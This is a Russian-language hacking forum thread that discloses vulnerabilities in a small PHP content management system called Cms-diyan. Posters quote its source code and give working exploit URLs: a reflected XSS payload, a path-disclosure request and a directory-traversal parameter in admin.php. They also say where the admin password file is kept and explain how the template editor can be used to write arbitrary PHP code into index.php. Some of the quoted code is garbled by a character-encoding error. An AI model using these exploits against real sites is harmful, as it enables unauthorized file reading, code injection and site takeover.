Старый 03.02.2011, 15:21   #1
Krist
 
Регистрация: 30.01.2011
Сообщений: 13
Репутация: 11
По умолчанию Cms-diyan

Офсайт: http://cms-diyan.ru
Админка cms/admin.php
Пароль админа храниться в cms/user/loginpass
Пассиваня XSS
index.php
PHP код:
if (isset($_GET["img"])) $ret=vizov_img($_GET['img']); 
php/function.php
PHP код:
function vizov_img($file)
{
$fileimg="/photoalbom/".$file;
$ret[0]='';
$ret[1]='';
$ret[2]='';
$ret[3]='';
$ret[4]="<img src=".$fileimg.'.jpg><br><br><a href="#" onclick="history.back();return false;">Вернуться назад</a>';
return 
$ret;

Эксплоит
Код:
cms/?img=%3E%3Cscript%3Ealert(1)%3C/script%3E

Раскрытие путей
index.php
PHP код:
if (isset($_GET["file"])){
$file=$_GET["file"];

if (!
preg_match('#^[^./][^/]*$#'$file)) {open_shablon('Сработала защита от взлома......');die();}

$ret=vizov_file($file);

Эксплоит
Код:
cms/?file[]=
На этой cmsке построено 2 сайте не считая оффсайта.
Krist вне форума   Ответить с цитированием
Старый 03.02.2011, 15:58   #2
M.W.N.N.
 
Аватар для M.W.N.N.
 
Регистрация: 05.07.2010
Сообщений: 51
Репутация: 7
По умолчанию

Нужен доступ в админку
Чтение файлов

[php]/admin.php?mnogomenu=../cms-diyan/user/loginpas[/code]

admin.php
PHP код:
<?

$plugins_menu
='';



include_once (
'php/function_admin.php');

include_once (
'php/function.php');
...
if (isset(
$_GET["mnogomenu"]))$ret=mnogomenu_admin();
...
/php/function_admin.php

PHP код:
...
function 
mnogomenu_admin(){

$file=$_GET['mnogomenu'];


$ondir='files/';

if (
$hdir opendir($ondir)) {

$i=0;

while (
false !== ($tmp readdir($hdir))) {

if (
$tmp != "." && $tmp != ".." && $tmp != "error_log" && $tmp!='dicovinapph') {

    
$fldr[$i]=$tmp;$i++;

    }

}

closedir($hdir);

$colf=$i;

}

if(isset(
$_POST["submit1"])){

    
$titul=$_POST["titul"];

    
$razdel=$_POST["razdel"];

    
$handle fopen("file_menu/$file""a");

    
fwrite($handle,"<li><a href=/dir/file/".$fldr[$razdel].".html>".$titul."</a></li>\r\n");

    
fclose($handle);

    
$ret="<font color=red>Ññûëêà äîáàâëåíà!</font>";

    }

if(isset(
$_POST["submit2"])){

    
$mbody_b=$_POST["mbody_b"];

    
$handle fopen("file_menu/$file""w");

    
fwrite($handle,$mbody_b);

    
fclose($handle);

    
$ret="<font color=red>Èçìåíåíèÿ âíåñåíû!</font>";

    }

$mbody='<center><b>Ðåäàêòèðóåì '.$file.'</b></center><br>×òî áû äîáàâèòü ññûëêó, âûáåðèòå ôàéë è ââåäèòå çàãîëîâîê.<br>';

$mbody.=add_pole(0,"admin.php?mnogomenu=".$file,"","");

$mbody.= "<tr><td align=right>Ôàéë:</td>

         <td><SELECT name='razdel' size='1'>"
;



for (
$i=0;$i<$colf;$i++)

 if (
$fldr[$i]!='dicovinapph'){

    
$mbody.="<OPTION value=".$i;

    if (
$_GET[fname]==$fldr[$i]) $mbody.=" selected";

    
$mbody.=">".$fldr[$i].'</OPTION>';

    }

$mbody.= "</SELECT></td></tr>";

$mbody.=add_pole(1,"Çàãîëîâîê","titul","");

$mbody.=add_pole(3,"Äîáàâèòü","submit1","");

$mbody.=add_pole(4,"","","");


$mret=file_get_contents("file_menu/".$file);

$mbody.="<hr> ýòîì ðåäàêòîðå âû ìîæåòå ïåðåìåùàòü ñòðîêè ìåíþ èëè âíîñèòü èçìåíåíèÿ â html-êîä.";

$mbody.=add_pole(0,"admin.php?mnogomenu=".$file,"","");

$mbody.=add_pole(2," ","mbody_b",$mret);

$mbody.=add_pole(3,"Ñîõðàíèòü","submit2","");

$mbody.=add_pole(4,"","","");


$mbodym"Ìåíþ ñîäåðæèò:<br><ul class=smenu>";

if (!
file_exists("file_menu/".$file))die('Íå íàéäåí ôàéë '."file_menu/".$file);

    
$handle fopen("file_menu/".$file"r");

    
$i=0;$a=0;$mret ='';

    while (!
feof($handle)) {

       
$mbuffer fgets($handle4096);

       
$flnna[$a]=trim($mbuffer);$a++;

 }

    
fclose($handle);

$c=$i;

$colfa=$a;

for (
$i=0;$i<$colfa;$i++)

$mbodym.= $flnna[$i];

$mbodym.="</ul>";




$body=allfiles_menu2()."<br><table border=1><tr><td valign=top width=200>".$mbodym."</td><td valign=top>".$mbody."</td></tr></table>";



   return 
$body;

    }
... 
M.W.N.N. вне форума   Ответить с цитированием
Старый 03.02.2011, 16:13   #3
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

В представленном куске кода не вижу ни include, ни require, вопрос, откуда взяться инклуду?
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.02.2011, 16:20   #4
M.W.N.N.
 
Аватар для M.W.N.N.
 
Регистрация: 05.07.2010
Сообщений: 51
Репутация: 7
По умолчанию

Цитата:
Сообщение от Ded MustD!e Посмотреть сообщение
В представленном куске кода не вижу ни include, ни require, вопрос, откуда взяться инклуду?
file_get_contents("file_menu/".$file);
M.W.N.N. вне форума   Ответить с цитированием
Старый 03.02.2011, 16:21   #5
~d0s~
 
Регистрация: 03.08.2010
Сообщений: 45
Репутация: 26
По умолчанию

Там нет инклюда,читалка
~d0s~ вне форума   Ответить с цитированием
Старый 03.02.2011, 16:25   #6
M.W.N.N.
 
Аватар для M.W.N.N.
 
Регистрация: 05.07.2010
Сообщений: 51
Репутация: 7
По умолчанию

Цитата:
Сообщение от Krist Посмотреть сообщение
Офсайт: http://cms-diyan.ru
Админка cms/admin.php
Пароль админа храниться в cms/user/loginpass

admin.php
PHP код:
...
if (!
$_SESSION["admin_login"]){



if (
$my_pass=='admin' && $my_login=='admin')$ret='Èñïîëüçóéòå äëÿ âõîäà ëîãèí è ïàðîëü admin. <br><font color=red>Ñðàçó ïîñëå àâòîðèçàöèè ñìåíèòå ïàðîëü!</font>';

$ret.=login_admin();

... 
wtf? Так где они пароли хронят то? 0_о
M.W.N.N. вне форума   Ответить с цитированием
Старый 03.02.2011, 16:26   #7
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Цитата:
Сообщение от M.W.N.N. Посмотреть сообщение
file_get_contents("file_menu/".$file);
file_get_contents получает содержимое файла и максимум позволит его прочитать, попробуйте таким образом "проинклудить" что-нибудь с php кодом внутри, и увидите, что он не выполнится
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.02.2011, 16:28   #8
M.W.N.N.
 
Аватар для M.W.N.N.
 
Регистрация: 05.07.2010
Сообщений: 51
Репутация: 7
По умолчанию

Цитата:
Сообщение от Ded MustD!e Посмотреть сообщение
file_get_contents получает содержимое файла и максимум позволит его прочитать, попробуйте таким образом "проинклудить" что-нибудь с php кодом внутри, и увидите, что он не выполнится
ок. извиняюсь за неточность, исправил
M.W.N.N. вне форума   Ответить с цитированием
Старый 03.02.2011, 16:29   #9
~d0s~
 
Регистрация: 03.08.2010
Сообщений: 45
Репутация: 26
По умолчанию

Читаем индекс, http://site.com/diyan/admin.php?mnogomenu=../index.php
Файл прочитается и выведется в поле для редактора шаблона.
Впихиваем phpinfo(); (ну или то что нужно =/)
fwrite там при нажатии на сабмит,так что тут и инклюд никакой ненужен=\ просто пишем свой код в любой пхп файл.

кстате,там и без file_get_contents будет читалка, потому что
PHP код:
if (!file_exists("file_menu/".$file))die('Не найден файл '."file_menu/".$file);
    
$handle fopen("file_menu/".$file"r");
    
$i=0;$a=0;$mret ='';
    while (!
feof($handle)) {
       
$mbuffer fgets($handle4096);
       
$flnna[$a]=trim($mbuffer);$a++;
 }
    
fclose($handle); 
зачитываем построчно и помещаем в массив,попутно обрезая пробелы,но вот редактировать уже файл будет нельзя=(
~d0s~ вне форума   Ответить с цитированием
Старый 03.02.2011, 16:44   #10
Krist
 
Регистрация: 30.01.2011
Сообщений: 13
Репутация: 11
По умолчанию

Цитата:
wtf? Так где они пароли хронят то? 0_о
admin.php
PHP код:
//авторизуемся
$ret='';
include(
"user/loginpas");//Достали две переменные my_login, my_pass 
Цитата:
admin.php?mnogomenu=../index.php
нужны права админа.
Krist вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot